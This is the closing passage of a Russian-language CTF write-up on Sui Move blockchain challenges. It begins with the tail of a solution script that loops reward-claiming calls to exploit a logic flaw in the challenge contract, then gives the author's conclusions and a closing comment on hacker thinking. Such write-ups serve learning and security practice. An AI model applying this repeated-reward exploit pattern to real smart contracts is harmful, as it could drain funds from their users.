Otter::buy_shield(_player, &mut ticket);
Otter::get_the_reward(_vault, _board, _player, _ctx);
Otter::checkout(ticket, _player, _ctx, _vault, _board);
i = i + 1;
if (i == 24) break;
};
let mut ticket = Otter::enter_tavern(_player);
Otter::buy_flag(&mut ticket, _player);
Otter::checkout(ticket, _player, _ctx, _vault, _board);
}
Провернув знакомую процедуру, получаем третий и последний флаг в категории.
Заключение
Как видно, логические уязвимости в этой серии не имели прямого отношения к Move (пожалуй, за исключением ограничения на недоиспользование `TawernTicket` в третьей, что усложнило возможное решение) - в принципе, задачи могли бы быть реализованы в виде стандартных оффчейновых сервисов. Впрочем, оформлены они были хорошо, решать их было удобно, а повозиться с Sui любопытно, и это принесло здесь 792 из 1325 набранных мной очков - а кроме того, будет хорошей подготовкой к следующему MoveCTF.
Рустам Гусейнов
председатель кооператива РАД КОП
Так, на примере трех относительно несложных задач, мы видим как «пугающий блокчейн», при некотором минимальном освоении, превращается из неведомой и сложной истории во вполне решаемую задачу. А дополнительно понимаем ценность «выхода за рамки» и «захода на неизведанные территории», которые и являются сутью хакерского мышления, и которые будучи последовательно применены к разным областям жизни могут привести к интересным результатам…. В прочем об этом поговорим в других материалах =)